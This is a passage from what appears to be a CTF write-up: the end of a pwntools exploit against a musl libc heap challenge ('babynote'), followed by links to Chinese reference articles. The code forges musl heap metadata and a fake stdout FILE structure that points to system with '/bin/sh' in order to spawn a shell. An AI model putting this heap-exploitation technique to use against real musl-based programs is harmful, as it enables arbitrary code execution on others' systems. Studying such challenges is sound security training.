fake_meta += p64(0)+p64(0)+p64(fakemeta_addr+0x30)+p64(0x0)+p64(0x3c0)+p64(0) #fakemeta2 | |
#prepare fake chunk and fake sotor | |
add(b'g'*0x28,b'g'*0x28) | |
add(b'h'*0x28,b'h'*0x28) | |
fakebabynote = p64( 0x29fdd0 +libcbase)+p64(fakemeta_addr+0x50)+p64(1)+p64(0x28)+p64(0) | |
add(b'i',fakebabynote) | |
free(b'g'*0x28) | |
gdb.attach(r) | |
add(p64(0x29bd00+libcbase)*2+p64(0x8)+p64(0x8)+p64(libcbase+0x29bd90),fake_meta.ljust(0x2000,b'\x00')) | |
free(b'b') | |
pause() | |
fake_stdfile =b'/bin/sh\x00'+p64(0)*6+p64(1)*2+p64(system)*2 | |
fake_stdfile = fake_stdfile.ljust(0x50,b'\x00') | |
add(b'i',fake_stdfile) | |
pause() | |
ch(5) | |
pause() | |
r.interactive() |
# 参考链接
https://www.anquanke.com/post/id/241101
https://blog.csdn.net/kali_Ma/article/details/122970885?ops_request_misc=%7B%22request%5Fid%22%3A%22165044409316780265474836%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=165044409316780265474836&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-122970885.142v9control,157v4control&utm_term=musl+%E5%A0%86%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4187